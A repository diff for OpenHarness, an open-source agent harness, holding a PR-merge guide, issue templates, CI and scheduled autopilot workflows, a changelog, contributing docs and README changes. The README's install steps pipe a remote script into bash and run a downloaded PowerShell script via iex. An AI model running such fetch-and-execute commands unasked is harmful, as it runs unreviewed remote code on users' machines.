Cherry-picked from PR #16. Excluded auto-compact (already implemented
with LLM-based approach from reference source)."
```
## Scenario 5: Duplicate PRs (Same Bug, Different Fix)
PR #11 and #13 both fix the double-Enter bug. #13 is smaller and cleaner.
```bash
# Merge #13 (the better fix)
gh pr merge 13 --repo OWNER/REPO --squash
# Close #11 with acknowledgment
gh pr close 11 --repo OWNER/REPO --comment \
"Fixed via PR #13 (smaller patch for the same bug). \
Thank you for the detailed investigation!"
```
## Scenario 6: PR From a Fork
The contributor pushed to their fork, not a branch on the repo.
```bash
# Fetch via PR ref (works for any PR regardless of source)
git fetch origin pull/14/head:pr-14
git merge pr-14 --no-edit
# If merge conflict:
git mergetool # or manually resolve
git add -A && git commit --no-edit
git push origin main
```
## Scenario 7: Batch Merge (Multiple PRs)
Merge in dependency order, test after each:
```bash
# 1. Small fixes first (least risk)
gh pr merge 17 --squash # skill file
gh pr merge 13 --squash # 1-file bug fix
# 2. Medium changes
gh pr merge 12 --squash # memory improvement
# 3. Large features last (most conflict risk)
# PR #14 needs manual conflict resolution
git fetch origin pull/14/head:pr-14
git merge pr-14
# resolve CHANGELOG conflict
git push origin main
# 4. Test after all merges
python -m ruff check src/ tests/
python -m pytest tests/ -q
```
## Post-Merge Fix Commit Pattern
When the merged PR introduces a compatibility issue (e.g., API mismatch with a provider):
```bash
# Fix in a SEPARATE commit (don't amend the author's commit)
git commit -m "fix(api): handle Kimi reasoning_content in OpenAI client
Kimi k2.5 requires reasoning_content on assistant tool_call messages.
Fix: capture during streaming, replay when converting back.
Found during post-merge testing with harness-eval."
```
This preserves the original author's commit intact while documenting the fix separately.
+41
View File
@@ -0,0 +1,41 @@
name: Bug report
description: Report a reproducible problem in OpenHarness
title: "[Bug]: "
labels:
- bug
body:
- type: markdown
attributes:
value: |
Thanks for reporting a bug. Please include concrete steps, environment details, and error output.
- type: textarea
id: summary
attributes:
label: What happened?
description: Describe the bug and the behavior you expected.
validations:
required: true
- type: textarea
id: repro
attributes:
label: Steps to reproduce
description: Include commands, prompts, or config that reliably reproduces the issue.
placeholder: |
1. Run `uv run oh ...`
2. Trigger ...
3. Observe ...
validations:
required: true
- type: textarea
id: environment
attributes:
label: Environment
description: OS, Python version, Node version if relevant, provider/base URL, and install method.
validations:
required: true
- type: textarea
id: logs
attributes:
label: Relevant logs or screenshots
description: Paste error output, stack traces, or terminal screenshots.
render: shell
+8
View File
@@ -0,0 +1,8 @@
blank_issues_enabled: true
contact_links:
- name: Contribution guide
url: https://github.com/HKUDS/OpenHarness/blob/main/CONTRIBUTING.md
about: Read local setup, validation, and PR expectations before contributing.
- name: Showcase ideas
url: https://github.com/HKUDS/OpenHarness/blob/main/docs/SHOWCASE.md
about: See example workflows and suggest new real-world use cases.
@@ -0,0 +1,33 @@
name: Feature request
description: Propose a focused improvement or missing workflow
title: "[Feature]: "
labels:
- enhancement
body:
- type: markdown
attributes:
value: |
Please describe the workflow gap as concretely as possible. Small, scoped requests are easier to prioritize.
- type: textarea
id: problem
attributes:
label: What workflow is missing or painful today?
validations:
required: true
- type: textarea
id: proposal
attributes:
label: Proposed change
description: Explain the behavior you want and any relevant CLI, UI, or provider details.
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: Alternatives considered
description: If you have a workaround or competing approach, include it here.
- type: textarea
id: extra
attributes:
label: Additional context
description: Links to related issues, code references, or benchmarks.
+15
View File
@@ -0,0 +1,15 @@
## Summary
- What problem does this PR solve?
- What changed?
## Validation
- [ ] `uv run ruff check src tests scripts`
- [ ] `uv run pytest -q`
- [ ] `cd frontend/terminal && npx tsc --noEmit` (if frontend touched)
## Notes
- Related issue:
- Follow-up work:
+59
View File
@@ -0,0 +1,59 @@
name: Autopilot Pages
on:
push:
branches:
- main
paths:
- "docs/autopilot/**"
- "autopilot-dashboard/**"
- ".github/workflows/autopilot-pages.yml"
workflow_dispatch:
permissions:
contents: read
pages: write
id-token: write
concurrency:
group: autopilot-pages
cancel-in-progress: true
jobs:
deploy:
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: "20"
cache: "npm"
cache-dependency-path: autopilot-dashboard/package-lock.json
- name: Install dependencies
working-directory: autopilot-dashboard
run: npm ci
- name: Build dashboard
working-directory: autopilot-dashboard
run: npm run build
- name: Configure Pages
uses: actions/configure-pages@v5
with:
enablement: true
- name: Upload autopilot dashboard artifact
uses: actions/upload-pages-artifact@v3
with:
path: docs/autopilot
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v4
+53
View File
@@ -0,0 +1,53 @@
name: Autopilot Run Next
on:
schedule:
- cron: "0 */2 * * *"
workflow_dispatch:
permissions:
contents: write
issues: write
pull-requests: write
concurrency:
group: autopilot-run-next
cancel-in-progress: true
jobs:
run-next:
runs-on: self-hosted
steps:
- name: Checkout
uses: actions/checkout@v4
with:
fetch-depth: 0
clean: false
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Set up uv
uses: astral-sh/setup-uv@v6
with:
enable-cache: true
- name: Install dependencies
run: uv sync --extra dev
- name: Execute autopilot tick
run: uv run python -m openharness autopilot tick --cwd "$GITHUB_WORKSPACE"
- name: Export dashboard
run: uv run python -m openharness autopilot export-dashboard --cwd "$GITHUB_WORKSPACE"
- name: Commit dashboard updates
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
git add docs/autopilot
git diff --cached --quiet && exit 0
git commit -m "autopilot: refresh dashboard after run"
git push
+53
View File
@@ -0,0 +1,53 @@
name: Autopilot Scan
on:
schedule:
- cron: "*/30 * * * *"
workflow_dispatch:
permissions:
contents: write
issues: write
pull-requests: write
concurrency:
group: autopilot-scan
cancel-in-progress: true
jobs:
scan:
runs-on: self-hosted
steps:
- name: Checkout
uses: actions/checkout@v4
with:
fetch-depth: 0
clean: false
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Set up uv
uses: astral-sh/setup-uv@v6
with:
enable-cache: true
- name: Install dependencies
run: uv sync --extra dev
- name: Scan autopilot intake
run: uv run python -m openharness autopilot scan all --cwd "$GITHUB_WORKSPACE"
- name: Export dashboard
run: uv run python -m openharness autopilot export-dashboard --cwd "$GITHUB_WORKSPACE"
- name: Commit dashboard updates
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
git add docs/autopilot
git diff --cached --quiet && exit 0
git commit -m "autopilot: refresh dashboard after scan"
git push
+83
View File
@@ -0,0 +1,83 @@
name: CI
on:
push:
branches:
- main
pull_request:
jobs:
python-tests:
name: Python tests (${{ matrix.python-version }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
python-version:
- "3.10"
- "3.11"
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Set up uv
uses: astral-sh/setup-uv@v6
with:
enable-cache: true
- name: Install dependencies
run: uv sync --extra dev
- name: Run test suite
run: uv run pytest -q
python-quality:
name: Python quality
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Set up uv
uses: astral-sh/setup-uv@v6
with:
enable-cache: true
- name: Install dependencies
run: uv sync --extra dev
- name: Ruff
run: uv run ruff check src tests scripts
frontend-typecheck:
name: Frontend typecheck
runs-on: ubuntu-latest
defaults:
run:
working-directory: frontend/terminal
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Set up Node.js
uses: actions/setup-node@v4
with:
node-version: "20"
cache: npm
cache-dependency-path: frontend/terminal/package-lock.json
- name: Install frontend dependencies
run: npm ci
- name: TypeScript check
run: npx tsc --noEmit
+1
View File
@@ -10,6 +10,7 @@ build/
.mypy_cache/
.ruff_cache/
.venv/
.openharness-venv/
venv/
env/
.env
+95
View File
@@ -0,0 +1,95 @@
# Changelog
All notable changes to OpenHarness should be recorded in this file.
The format is based on Keep a Changelog, and this project currently tracks changes in a lightweight, repository-oriented way.
## [Unreleased]
## [0.1.9] - 2026-05-07
### Added
- Added a bundled `skill-creator` skill for creating, improving, and verifying OpenHarness/ohmo skills.
- User-invocable skills can now be triggered directly as slash commands, with support for skill-specific arguments and model override metadata.
### Fixed
- `oh setup` can now update the API key for an already-configured API-key provider profile instead of only changing the model.
- `oh provider edit <profile> --api-key <key>` can now replace a saved profile API key, and `oh provider add ... --api-key <key>` can store one during profile creation.
## [0.1.8] - 2026-05-06
### Added
- Built-in `nvidia` provider profile so `oh setup` offers NVIDIA NIM as a first-class OpenAI-compatible provider choice, with `NVIDIA_API_KEY` auth source, `openai/gpt-oss-120b` as the default model, and the NVIDIA NIM endpoint.
- Built-in `qwen` provider profile so `oh setup` offers Qwen (DashScope) as a first-class provider choice, with `dashscope_api_key` auth source, `qwen-plus` as the default model, and the DashScope OpenAI-compatible endpoint.
- Plugin tool discovery: plugins can now provide `BaseTool` subclasses in a `<plugin>/tools/` directory and they are auto-discovered, instantiated, and registered in the tool registry at runtime. Add `tools_dir` to `plugin.json` (defaults to `"tools"`).
- `oh --dry-run` safe preview mode for inspecting resolved runtime settings, auth state, prompt assembly, commands, skills, tools, and configured MCP servers without executing the model or tools.
- Built-in `minimax` provider profile so `oh setup` offers MiniMax as a first-class provider choice, with `MINIMAX_API_KEY` auth source, `MiniMax-M2.7` as the default model, and `MiniMax-M2.7-highspeed` in the model picker.
- Docker as an alternative sandbox backend (`sandbox.backend = "docker"`) for stronger execution isolation with configurable resource limits, network isolation, and automatic image management.
- Built-in `gemini` provider profile so `oh setup` offers Google Gemini as a first-class provider choice, with `gemini_api_key` auth source and `gemini-2.5-flash` as the default model.
- `diagnose` skill: trace agent run failures and regressions using structured evidence from run artifacts.
- OpenAI-compatible API client (`--api-format openai`) supporting any provider that implements the OpenAI `/v1/chat/completions` format, including Alibaba DashScope, DeepSeek, GitHub Models, Groq, Together AI, Ollama, and more.
- `OPENHARNESS_API_FORMAT` environment variable for selecting the API format.
- `OPENAI_API_KEY` fallback when using OpenAI-format providers.
- GitHub Actions CI workflow for Python linting, tests, and frontend TypeScript checks.
- `CONTRIBUTING.md` with local setup, validation commands, and PR expectations.
- `docs/SHOWCASE.md` with concrete OpenHarness usage patterns and demo commands.
- GitHub issue templates and a pull request template.
- React TUI assistant messages now render structured Markdown blocks, including headings, lists, code fences, blockquotes, links, and tables.
- Built-in `codex` output style for compact, low-noise transcript rendering in React TUI.
### Fixed
- Subprocess teammate spawn (`agent` tool, `task_create`) now works on Windows under Git Bash. `subprocess_backend.spawn` builds a direct-exec `argv` list and passes it through new `argv=` and `env=` kwargs on `BackgroundTaskManager.create_agent_task` / `create_shell_task`; `_start_process` then runs the executable via `asyncio.create_subprocess_exec(*argv)` with no shell in between. Previously the spawn command was a single string interpreted by `bash -lc`, which on Windows could not reliably exec a Windows-pathed Python interpreter (e.g. `C:\Users\...\python.exe`) — Git Bash's escape parser consumed the backslashes from the embedded env-prefix and, even with proper quoting, bash launched via `asyncio.create_subprocess_exec` returned `command not found` for Windows-pathed binaries that worked perfectly when invoked interactively. Bypassing the shell sidesteps the entire class of cross-platform quoting and path-translation hazard. The legacy shell-evaluated `command=` path is preserved for callers (e.g. `BashTool`) that legitimately want shell semantics. See issue #230.
- Bundled skill loader now uses `yaml.safe_load` for SKILL.md frontmatter, matching the user-skill loader. The shared parser is extracted to `openharness.skills._frontmatter` so bundled and user skills handle YAML block scalars (`>`, `|`), quoted values, and other standard YAML constructs the same way.
- Compaction now detects llama.cpp/OpenAI-compatible context overflow errors, accounts for image blocks in auto-compact token estimates, and strips image payloads from summarizer-only compaction requests.
- Large tool results are now bounded in conversation history: oversized outputs are saved under `tool_artifacts`, old MCP results become microcompactable, and context collapse trims stale tool-result payloads.
- ohmo now keeps personal memory isolated from OpenHarness project memory: `/memory` in ohmo sessions targets the ohmo workspace memory store, and ohmo runtime prompt refreshes no longer inject project memory unless explicitly requested.
- Fixed `glob` and `grep` tools hanging indefinitely when the `rg` subprocess produced enough stderr output to fill the OS pipe buffer. `stderr` is now redirected to `DEVNULL` so it is discarded rather than blocking the child process.
- Fixed `bash_tool` hanging after a timed-out command when the subprocess stdout stream stayed open. `_read_remaining_output` now applies a 2-second `asyncio.wait_for` timeout so the tool always returns promptly.
- Fixed `session_runner` background task deadlock caused by an unread `stderr=PIPE` stream. The subprocess now uses `stderr=STDOUT` so all output merges into the single readable stdout pipe.
- React TUI prompt input now treats the raw DEL byte (`0x7f`) as backward delete while preserving true forward-delete escape sequences, fixing backspace failures seen in some macOS terminal environments.
- `todo_write` tool now updates an existing unchecked item in-place when `checked=True` instead of appending a duplicate `[x]` line.
- Built-in `Explore` and `claude-code-guide` agents no longer hard-code `model="haiku"`, which caused them to fail for users on non-Anthropic providers (OpenAI, Bedrock, custom base URLs, etc.). Both agents now use `model="inherit"` so they run with whatever model the parent session is using. `build_inherited_cli_flags` is also fixed to skip the `--model` flag entirely when the value is `"inherit"`, letting the subprocess correctly inherit the parent model via the `OPENHARNESS_MODEL` environment variable instead of receiving the literal string `"inherit"` as a model name.
- React TUI spinner now stays visible throughout the entire agent turn: `assistant_complete` no longer resets `busy` state prematurely, and `tool_started` explicitly sets `busy=true` so the status bar remains active even when tool calls follow an assistant message. `line_complete` is the sole signal that ends the turn and clears the spinner.
- Skill loader now uses `yaml.safe_load` to parse SKILL.md frontmatter, correctly handling YAML block scalars (`>`, `|`), quoted values, and other standard YAML constructs instead of naive line-by-line splitting.
- `BackendHostConfig` was missing the `cwd` field, causing `AttributeError: 'BackendHostConfig' object has no attribute 'cwd'` on startup when `oh` was run after the runtime refactor that added `cwd` support to `build_runtime`.
- Shell-escape `$ARGUMENTS` substitution in command hooks to prevent shell injection from payload values containing metacharacters like `$(...)` or backticks.
- Swarm `_READ_ONLY_TOOLS` now uses actual registered tool names (snake_case) instead of PascalCase, fixing read-only auto-approval in `handle_permission_request`.
- Memory scanner now parses YAML frontmatter (`name`, `description`, `type`) instead of returning raw `---` as description.
- Memory search matches against body content in addition to metadata, with metadata weighted higher for relevance.
- Memory search tokenizer handles Han characters for multilingual queries.
- Fixed duplicate response in React TUI caused by double Enter key submission in the input handler.
- Fixed concurrent permission modals overwriting each other in TUI default mode when the LLM returns multiple tool calls in one response; `_ask_permission` now serialises callers via an `asyncio.Lock` so each modal is shown and resolved before the next one is emitted.
- Fixed React TUI Markdown tables to size columns from rendered cell text so inline formatting like code spans and bold text no longer breaks alignment.
- Fixed grep tool crashing with `ValueError` / `LimitOverrunError` when ripgrep outputs a line longer than 64 KB (e.g. minified assets or lock files). The asyncio subprocess stream limit is now 8 MB and oversized lines are skipped rather than terminating the session.
- Fixed React TUI exit leaving the shell prompt concatenated with the last TUI line. The terminal cleanup handler now writes a trailing newline (`\n`) alongside the cursor-show escape sequence so the shell prompt always starts on a fresh line.
- Reduced React TUI redraw pressure when `output_style=codex` by avoiding token-level assistant buffer flushes during streaming.
### Changed
- ohmo Feishu group routing now supports managed group creation, gateway-scoped provider/model commands, and stricter group mention handling so group conversations only wake ohmo when explicitly addressed.
- Dry-run output now reports a `ready` / `warning` / `blocked` readiness verdict, concrete `next_actions`, likely matching skills/tools for normal prompts, and richer slash-command previews for read-only vs stateful command paths.
- React TUI now groups consecutive `tool` + `tool_result` transcript rows into a single compound row: success shows the result line count inline (e.g. `→ 24L`), errors show a red icon and up to 5 lines of error detail beneath the tool row. Standalone successful tool results are suppressed to reduce transcript noise; standalone errors are still surfaced.
- README now links to contribution docs, changelog, showcase material, and provider compatibility guidance.
- README quick start now includes a one-command demo and clearer provider compatibility notes.
- README provider compatibility section updated to include OpenAI-format providers.
## [0.1.7] - 2026-04-18
### Fixed
- Install script now links `oh`, `ohmo`, and `openharness` into `~/.local/bin` instead of prepending the virtualenv `bin` directory to `PATH`, which avoids overriding Conda-managed shells while preserving global command discovery.
- React TUI prompt now supports `Shift+Enter` for inserting a newline without submitting the current prompt.
- React TUI busy-state animation is less error-prone on Windows terminals: the extra pseudo-animation line was removed, Windows now uses conservative ASCII spinner frames, and the spinner interval was slightly slowed to reduce flashing.
## [0.1.0] - 2026-04-01
### Added
- Initial public release of OpenHarness.
- Core agent loop, tool registry, permission system, hooks, skills, plugins, MCP support, and terminal UI.
+68
View File
@@ -0,0 +1,68 @@
# Contributing to OpenHarness
OpenHarness is an open-source agent harness focused on clarity, hackability, and compatibility with Claude-style workflows.
## Ways to contribute
- Fix bugs or tighten edge-case handling in the harness runtime.
- Improve docs, onboarding, examples, and architecture notes.
- Add tests for tools, permissions, plugins, MCP, or multi-agent flows.
- Contribute new skills, plugins, or provider compatibility improvements.
- Share real usage patterns that can be added to [`docs/SHOWCASE.md`](docs/SHOWCASE.md).
## Development setup
```bash
git clone https://github.com/HKUDS/OpenHarness.git
cd OpenHarness
uv sync --extra dev
```
If you want to work on the React terminal UI as well:
```bash
cd frontend/terminal
npm ci
cd ../..
```
## Local checks
Run the same core checks that CI runs before opening a PR:
```bash
uv run ruff check src tests scripts
uv run pytest -q
```
Frontend sanity check:
```bash
cd frontend/terminal
npx tsc --noEmit
```
## Pull request expectations
- Keep PRs scoped. Small, reviewable changes merge faster than broad rewrites.
- Include the problem, the change, and how you verified it.
- Add or update tests when behavior changes.
- Update docs when CLI flags, workflows, or compatibility claims change.
- Add a short entry under `Unreleased` in [`CHANGELOG.md`](CHANGELOG.md) for user-visible changes.
- If you are improving type coverage, feel free to run `uv run mypy src/openharness`, but it is not yet a required green check for the whole repo.
## Documentation and community contributions
Issue [#7](https://github.com/HKUDS/OpenHarness/issues/7) surfaced several high-value docs needs. Useful contributions in that area include:
- README accuracy improvements and compatibility notes.
- Short, reproducible examples for common workflows.
- Showcase entries based on real usage rather than generic marketing claims.
- Contribution and maintenance docs that make the repo easier to navigate.
## Reporting bugs and proposing features
- Use the GitHub issue templates when possible.
- Include environment details, exact commands, and error output for bugs.
- For features, explain the concrete workflow gap and expected behavior.
- If the request is mostly documentation or maintenance related, say that explicitly so it can be scoped as a docs PR.
+439 -65
View File
@@ -1,10 +1,21 @@
<h1 align="center"><img src="assets/logo.png" alt="OpenHarness" width="64" style="vertical-align: middle;">&nbsp; <code>oh</code> — OpenHarness: Open Agent Harness</h1>
<h1 align="center">
<img src="assets/logo.png" alt="OpenHarness" width="64" style="vertical-align: middle;">
&nbsp;&nbsp;
<img src="assets/ohmo.png" alt="ohmo" width="64" style="vertical-align: middle;">
<br>
<code>oh</code> — OpenHarness &amp; <code>ohmo</code>
</h1>
**O**pen**H**arness (**oh**) is an ultra-lightweight alternative to Claude Code with pure Python implementation
<p align="center">
<a href="README.md"><strong>English</strong></a> ·
<a href="README.zh-CN.md"><strong>简体中文</strong></a>
</p>
**OpenHarness** delivers approximately 80% of essential agent functionality
**OpenHarness** delivers core lightweight agent infrastructure: tool-use, skills, memory, and multi-agent coordination.
**OpenHarness** achieves this using just 3% of the lines of code compared to Claude Code
**ohmo** is a personal AI agent built on OpenHarness — not another chatbot, but an assistant that actually works for you over long sessions. Chat with ohmo in Feishu / Slack / Telegram / Discord, and it forks branches, writes code, runs tests, and opens PRs on its own. ohmo runs on your existing Claude Code or Codex subscription — no extra API key needed.
**Join the community**: contribute **Harness** for open agent development.
<p align="center">
<a href="#-quick-start"><img src="https://img.shields.io/badge/Quick_Start-5_min-blue?style=for-the-badge" alt="Quick Start"></a>
@@ -15,11 +26,12 @@
</p>
<p align="center">
<img src="https://img.shields.io/badge/python-≥3.11-blue?logo=python&logoColor=white" alt="Python">
<img src="https://img.shields.io/badge/python-≥3.10-blue?logo=python&logoColor=white" alt="Python">
<img src="https://img.shields.io/badge/React+Ink-TUI-61DAFB?logo=react&logoColor=white" alt="React">
<img src="https://img.shields.io/badge/pytest-114_pass-brightgreen" alt="Pytest">
<img src="https://img.shields.io/badge/E2E-6_suites-orange" alt="E2E">
<img src="https://img.shields.io/badge/output-text_|_json_|_stream--json-blueviolet" alt="Output">
<a href="https://github.com/HKUDS/OpenHarness/actions/workflows/ci.yml"><img src="https://github.com/HKUDS/OpenHarness/actions/workflows/ci.yml/badge.svg" alt="CI"></a>
<a href="https://github.com/HKUDS/.github/blob/main/profile/README.md"><img src="https://img.shields.io/badge/Feishu-Group-E9DBFC?style=flat&logo=feishu&logoColor=white" alt="Feishu"></a>
<a href="https://github.com/HKUDS/.github/blob/main/profile/README.md"><img src="https://img.shields.io/badge/WeChat-Group-C5EAB4?style=flat&logo=wechat&logoColor=white" alt="WeChat"></a>
</p>
@@ -32,47 +44,7 @@ Supports CLI agent integration including OpenClaw, nanobot, Cursor, and more.
<img src="assets/cli-typing.gif" alt="OpenHarness Terminal Demo" width="800">
</p>
<p align="center">
<img src="assets/architecture-comic.png" alt="How Agent Harness Works" width="800">
</p>
---
## 🚀 44x Lighter Than Claude Code
<table>
<tr><th></th><th>Claude Code</th><th>OpenHarness</th></tr>
<tr><td><strong>Lines of Code</strong></td><td>512,664</td><td><strong>11,733</strong> (44x lighter)</td></tr>
<tr><td><strong>Files</strong></td><td>1,884</td><td><strong>163</strong></td></tr>
<tr><td><strong>Language</strong></td><td>TypeScript</td><td>Python</td></tr>
<tr><td><strong>Tools</strong></td><td>~44</td><td>43 (98%)</td></tr>
<tr><td><strong>Commands</strong></td><td>~88</td><td>54 (61%)</td></tr>
<tr><td><strong>Skills Compatible</strong></td><td>✅</td><td>✅ anthropics/skills</td></tr>
<tr><td><strong>Plugin Compatible</strong></td><td>✅</td><td>✅ claude-code/plugins</td></tr>
<tr><td><strong>Tests</strong></td><td>—</td><td>114 unit + 6 E2E suites</td></tr>
</table>
**Just 2.3% of the code, 98% of the essential tools**. Leverages Python's power with pure focus on Harness architecture—stripped of enterprise overhead like telemetry, OAuth complexity, and hundreds of React components.
---
## 🤔 What is an Agent Harness?
An **Agent Harness** is the complete infrastructure that wraps around an LLM to make it a functional agent. The model provides intelligence; the harness provides **hands, eyes, memory, and safety boundaries**.
<p align="center">
<img src="assets/harness-equation.png" alt="Harness = Tools + Knowledge + Observation + Action + Permissions" width="700">
</p>
OpenHarness is an open-source Python implementation designed for **researchers, builders, and the community**:
- **Understand** how production AI agents work under the hood
- **Experiment** with cutting-edge tools, skills, and agent coordination patterns
- **Extend** the harness with custom plugins, providers, and domain knowledge
- **Build** specialized agents on top of proven architecture
---
## ✨ OpenHarness's Key Harness Features
<table align="center" width="100%">
@@ -162,42 +134,124 @@ OpenHarness is an open-source Python implementation designed for **researchers,
---
## 🤔 What is an Agent Harness?
An **Agent Harness** is the complete infrastructure that wraps around an LLM to make it a functional agent. The model provides intelligence; the harness provides **hands, eyes, memory, and safety boundaries**.
<p align="center">
<img src="assets/harness-equation.png" alt="Harness = Tools + Knowledge + Observation + Action + Permissions" width="700">
</p>
OpenHarness is an open-source Python implementation designed for **researchers, builders, and the community**:
- **Understand** how production AI agents work under the hood
- **Experiment** with cutting-edge tools, skills, and agent coordination patterns
- **Extend** the harness with custom plugins, providers, and domain knowledge
- **Build** specialized agents on top of proven architecture
---
## 📰 What's New
- **Unreleased** 🔍 **Dry-run safe preview**:
- `oh --dry-run` previews resolved runtime settings, auth state, skills, commands, tools, and configured MCP servers without executing the model, tools, or subagents.
- Dry-run now reports a `ready` / `warning` / `blocked` readiness verdict with concrete next-step suggestions such as fixing auth, fixing MCP config, or running the prompt directly.
- Prompt previews include likely matching skills and tools, while slash-command previews show whether the command is mostly read-only or stateful.
- **2026-04-18** ⚙️ **v0.1.7** — Packaging & TUI polish:
- Install script now links `oh`, `ohmo`, and `openharness` into `~/.local/bin` instead of prepending the virtualenv `bin` directory to `PATH`, which avoids clobbering Conda-managed shells.
- React TUI now supports `Shift+Enter` to insert a newline while keeping plain `Enter` as submit.
- Busy-state animation in the React TUI is quieter and less error-prone on Windows terminals, with conservative spinner frames and reduced flashing.
- **2026-04-10** 🧠 **v0.1.6** — Auto-Compaction & Markdown TUI:
- Auto-Compaction preserves task state and channel logs across context compression — agents can run multi-day sessions without manual compact/clear
- Subprocess teammates run in headless worker mode; agent team creation stabilized
- Assistant messages now render full Markdown in the React TUI
- `ohmo` gains channel slash commands and multimodal attachment support
- **2026-04-08** 🔌 **v0.1.5** — MCP HTTP transport & Swarm polling:
- MCP protocol adds HTTP transport, auto-reconnect on disconnect, and tool-only server compatibility
- JSON Schema types inferred for MCP tool inputs — no manual type mapping needed
- `ohmo` channels support file attachments and multimodal gateway messages
- Subprocess agents are now pollable in real runs; permission modals serialized to prevent input swallowing
- **2026-04-08** 🌙 **v0.1.4** — Multi-provider auth & Moonshot/Kimi:
- Native Moonshot/Kimi provider with `reasoning_content` support for thinking models
- Auth overhaul: fixed provider-switching key mismatch, `OPENAI_BASE_URL` env override, profile-scoped credential priority
- MCP gracefully handles disconnected servers in `call_tool` / `read_resource`
- Security: built-in sensitive-path protection in PermissionChecker, hardened `web_fetch` URL validation
- Stability: EIO crash recovery in Ink TUI, `--debug` logging, Windows cmd flash fix
- **2026-04-06** 🚀 **v0.1.2** — Unified setup flows and `ohmo` personal-agent app:
- `oh setup` now guides provider selection as workflows instead of exposing raw auth/provider internals
- Compatible API setup is now profile-scoped, so Anthropic/OpenAI-compatible endpoints can keep separate keys
- `ohmo` ships as a packaged app with `~/.ohmo` workspace, gateway, bootstrap prompts, and channel config flow
- **2026-04-01** 🎨 **v0.1.0** — Initial **OpenHarness** open-source release featuring complete Harness architecture:
<p align="center">
<strong>Start here:</strong>
<a href="#-quick-start">Quick Start</a> ·
<a href="#-provider-compatibility">Provider Compatibility</a> ·
<a href="docs/SHOWCASE.md">Showcase</a> ·
<a href="CONTRIBUTING.md">Contributing</a> ·
<a href="CHANGELOG.md">Changelog</a>
</p>
---
## 🚀 Quick Start
### Prerequisites
### 1. Install
- **Python 3.11+** and [uv](https://docs.astral.sh/uv/)
- **Node.js 18+** (for the React terminal UI)
- An LLM API key
### Install & Run
#### Linux / macOS / WSL
```bash
# Clone and install
git clone https://github.com/HKUDS/OpenHarness.git
cd OpenHarness
uv sync --extra dev
# One-click install
curl -fsSL https://raw.githubusercontent.com/HKUDS/OpenHarness/main/scripts/install.sh | bash
# Example: use Kimi as the backend
export ANTHROPIC_BASE_URL=https://api.moonshot.cn/anthropic
export ANTHROPIC_API_KEY=your_kimi_api_key
export ANTHROPIC_MODEL=kimi-k2.5
# Or via pip
pip install openharness-ai
```
# Launch
oh # if venv is activated
uv run oh # without activating venv
#### Windows (Native)
```powershell
# One-click install (PowerShell)
iex (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/HKUDS/OpenHarness/main/scripts/install.ps1')
# Or via pip
pip install openharness-ai
```
**Note**: Windows support is now native. In PowerShell, use `openh` instead of `oh` because `oh` can resolve to the built-in `Out-Host` alias.
### 2. Configure
```bash
oh setup # interactive wizard — pick a provider, authenticate, done
# On Windows PowerShell, use: openh setup
```
Supports **Claude / OpenAI / Copilot / Codex / Moonshot(Kimi) / GLM / MiniMax / NVIDIA NIM** and any compatible endpoint.
### 3. Run
```bash
oh
# On Windows PowerShell, use: openh
```
<p align="center">
<img src="assets/landing.png" alt="OpenHarness Landing Screen" width="700">
</p>
### 4. Set up ohmo (Personal Agent)
Want an AI agent that works for you from Feishu / Slack / Telegram / Discord?
```bash
ohmo init # initialize ~/.ohmo workspace
ohmo config # configure channels and provider
ohmo gateway start # start the gateway — ohmo is now live in your chat app
```
ohmo runs on your existing **Claude Code subscription** or **Codex subscription** — no extra API key needed.
### Non-Interactive Mode (Pipes & Scripts)
```bash
@@ -211,6 +265,182 @@ oh -p "List all functions in main.py" --output-format json
oh -p "Fix the bug" --output-format stream-json
```
### Dry Run (Safe Preview)
Use `--dry-run` when you want to inspect what OpenHarness would use before any live execution starts.
```bash
# Preview an interactive session setup
oh --dry-run
# Preview one prompt without executing the model or tools
oh --dry-run -p "Review this bug fix and grep for failing tests"
# Preview a slash command path
oh --dry-run -p "/plugin list"
# Get structured output for scripts or channels
oh --dry-run -p "Explain this repository" --output-format json
```
Dry-run is intentionally static:
- It does **not** call the model
- It does **not** execute tools or spawn subagents
- It does **not** connect to MCP servers
- It **does** resolve settings, auth status, prompt assembly, skills, commands, tools, and obvious MCP config problems
Readiness levels:
- `ready`: configuration looks usable; the next suggested action is usually to run the prompt directly
- `warning`: OpenHarness can resolve the session, but something important still looks wrong, such as broken MCP config or missing auth for later model work
- `blocked`: the requested path will not run successfully as-is, for example an unknown slash command or a prompt that cannot resolve a runtime client
`next actions` in the dry-run output tell you the shortest fix or follow-up step, such as:
- run `oh auth login`
- fix or disable broken MCP configuration
- run the prompt directly with `oh -p "..."` or open the interactive UI with `oh`
## 🔌 Provider Compatibility
OpenHarness treats providers as **workflows** backed by named profiles. In day-to-day use, prefer:
```bash
oh setup
oh provider list
oh provider use <profile>
```
### Built-in Workflows
| Workflow | What it is | Typical backends |
|----------|------------|------------------|
| **Anthropic-Compatible API** | Anthropic-style request format | Claude official, Kimi, GLM, MiniMax, internal Anthropic-compatible gateways |
| **Claude Subscription** | Claude CLI subscription bridge | Local `~/.claude/.credentials.json` |
| **OpenAI-Compatible API** | OpenAI-style request format | OpenAI official, OpenRouter, DashScope, DeepSeek, SiliconFlow, Groq, Ollama, GitHub Models |
| **Codex Subscription** | Codex CLI subscription bridge | Local `~/.codex/auth.json` |
| **GitHub Copilot** | Copilot OAuth workflow | GitHub Copilot device-flow login |
### Compatible API Families
#### Anthropic-Compatible API
Typical examples:
| Backend | Base URL | Example models |
|---------|----------|----------------|
| **Claude official** | `https://api.anthropic.com` | `claude-sonnet-4-6`, `claude-opus-4-6` |
